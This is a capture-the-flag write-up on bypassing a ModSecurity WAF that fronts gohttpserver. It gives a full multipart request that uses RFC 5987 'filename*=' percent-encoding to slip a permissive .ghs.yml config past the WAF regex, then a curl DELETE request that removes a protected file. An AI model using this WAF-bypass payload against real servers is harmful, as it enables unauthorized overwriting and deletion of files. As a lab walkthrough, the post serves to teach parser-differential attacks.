Logo
NNS CTF 2025 - Gollum

NNS CTF 2025 - Gollum

Yan Solo Yan Solo
August 31, 2025
6 min read
index

Parser differentials on my mind

“Yess, you can looks at it… but not takes it away, preciousss. No, no, never removes it!”

Challenge by Vealending

Overview

It’s Sunday, 8PM ish, and NNS CTF just wrapped up a couple of hours ago.

This was a tougher event that we expected, at least compared to events we’ve taken part in recently, but it was thoroughly enjoyable nonetheless. Our team - Orgrimmar Tech Support (working title) - managed to place 6th overall, new team best.

Gollum was a web challenge that involved bypassing Modsecurity WAF rules to overwrite a gohttpserver config file so that we could enable deletion of files on the server. By enabling file deletion, we could trigger the server’s file-checker script, which ultimately yielded the flag.

Parser differentials were fresh on my mind from dealing with Nginx and Node parser inconsistencies at BrunnerCTF the week before, and that proved useful this weekend.

The setup

First things first - gohttpserver is exactly what it sounds like - a static HTTP file server written in Go. You can upload or download files, zip directories and set up rules for access - so basic file management.

gohttpserver_UI

Challenge files

We were provided with some challenge files, some of which contained clues about what we were up against.

Dockerfile

Nothing particularly interesting in the Dockerfile besides telling us what we’re dealing with.

Dockerfile
FROM golang:1.25rc2-bookworm
RUN go install github.com/codeskyblue/gohttpserver@latest
RUN apt-get update && \
apt-get install -y --no-install-recommends \
nginx libnginx-mod-http-modsecurity && \
rm -rf /var/lib/apt/lists/*
WORKDIR "/usr/local/bin/"
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY config/file_checker.sh config/docker-entrypoint.sh ./
RUN chmod +x file_checker.sh docker-entrypoint.sh
COPY files/* /app/public/
EXPOSE 80
ENTRYPOINT ["./docker-entrypoint.sh"]

gohttpserver config

As per the GitHub documentation, every subdirectory in gohttpserver can have a .ghs.yml config file, which defines directory-level upload / delete permissions and access tokens - and we’d need to use this token to enable us to upload files to the server. This config confirmed that file deletion was disabled globally, and the only way for us to upload files would be with the use of this user token:

.ghs.yml
upload: false
delete: false
users:
- token: "in_case_i_ever_need_to_upload_123"
upload: true
delete: false

File checker

This script does what it says on the tin - runs every second to check for the existence of my_precious.gif, and yields the flag if it’s gone for more than 3 seconds.

file_checker.sh
#!/bin/bash
cd /app/public/
m=0
while :; do # give flag if my precious file is really gone 😟
[[ -f my_precious.gif ]] && m=0 || { ((++m>=3)) && echo "$FLAG" > flag.txt; }
sleep 1
done

Nginx & Modsecurity

This is where the real challenge takes shape - the nginx config tells us that it’s using the Modsecurity WAF module. The ModSecurity config blocks all POST requests that contain either .ghs.yml or my_precious.gif in the body, parameters, or file names, returning a 403.

nginx.conf
load_module modules/ngx_http_modsecurity_module.so;
events { worker_connections 1024; }
http {
server {
listen 80;
modsecurity on;
modsecurity_rules '
SecRuleEngine On
SecRequestBodyAccess On
# prevent any naughty actions on our files 🦧
SecRule REQUEST_METHOD "@streq POST" "id:1010,phase:2,deny,status:403,log,chain"
SecRule REQUEST_BODY|ARGS|MULTIPART_FILENAME "(?i)(?:\.ghs\.yml|my_precious\.gif)"
';
location / { proxy_pass http://127.0.0.1:8080; }
}
}

The exploit

There weren’t that many moving parts to this challenge, so we had a pretty solid understanding of what needed to be done from the start:

  1. Replace the restrictive yaml config with one that would allow uploads and deletions
  2. Delete my_precious.gif and trigger the file checker script.
  3. Get flag.

We only needed 2 lines in this new server config:

.ghs.yml
upload: true
delete: true

But the biggest challenge to overcome was defeating the WAF rules - uploading our .ghs.yml config meant the filename would appear in the request body and trigger the WAF regex. So you couldn’t get away with just doing this:

Content-Disposition: form-data; name="file"; filename=.ghs.yml

Figuring out the server’s functionality didn’t take long, as there are only a handful of endpoints in gohttpserver, and they’re all pretty self-explanatory - POST to upload, DELETE to delete, and so on.

And yet I still ended up spending far longer than I care to admit digging through gohttpserver’s repo and trying to explore zipping and unzipping angles to try and get this exploit to land.

Ultimately there were a couple of different ways of solving this, but the way that we took with this was largely driven by the parser differential mentioned earlier.

I came across this paper by some very smart researchers that dives deep into parser discrepancies, and this formulated the basis for our exploit.

Without going too deep into RFC-5987, the core problem here is that Modsecurity’s rules do not normalise filename*= or percent encoding - so we can construct a request like this:

POST / HTTP/2
Host: f85311fb-0895-438f-a5a6-cf72c3a97e39.chall.nnsc.tf
User-Agent: curl/8.5.0
Accept: /
Content-Length: 455
Content-Type: multipart/form-data; boundary=------------------------XjESp8oAtbwm8P0R3UbYEM
--------------------------XjESp8oAtbwm8P0R3UbYEM
Content-Disposition: form-data; name="token"
in_case_i_ever_need_to_upload_123
--------------------------XjESp8oAtbwm8P0R3UbYEM
Content-Disposition: form-data; name="file"; filename*=UTF-8''%2Eghs%2Eyml
Content-Type: text/plain
upload: true
delete: true
users:
token: "in_case_i_ever_need_to_upload_123"
upload: true
delete: true
--------------------------XjESp8oAtbwm8P0R3UbYEM--

That means that the regex for .ghs.yml never fires so the upload gets through.

In other words, what Modsecurity sees is this:

filename*=UTF-8''%2Eghs%2Eyml

Whereas Go normalises the filename, and sees this:

filename=.ghs.yml

So our request gets through the WAF, we overwrite the restrictive server config with our version, and that allows us to upload and delete files at will.

burp

The final step was simply firing off a request to delete my_precious.gif, which would force the file checker script to deploy the flag.

Terminal window
curl -x 127.0.0.1:8080 -k -X DELETE 'https://d9619989-303e-485b-bf2f-b4c114275bef.chall.nnsc.tf/my_precious.gif'
Success

flag

Takeaways

To summarise - making software is hard, and making it play nice with other people’s software is even harder.

There’s been a lot of research in recent times focused around how parsers in proxies sometimes behave differently to languages - different ways of processing HTTP headers, or handling of special characters like newlines, tabs and carriage returns, which might be treated one way by a proxy like nginx, and another way by a Node server.

This fundamental disagreement is one of the core aspects of James Kettle’s research into HTTP request smuggling, and can result in serious bugs which can be abused to bypass firewalls and proxies.

So while this wasn’t the most difficult or complex challenge of the event, it touches on a deeper area of security research which is rapidly becoming more and more relevant.

Interesting resources in case you want to read more:

  1. WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls
  2. Exploiting HTTP Parsers Inconsistencies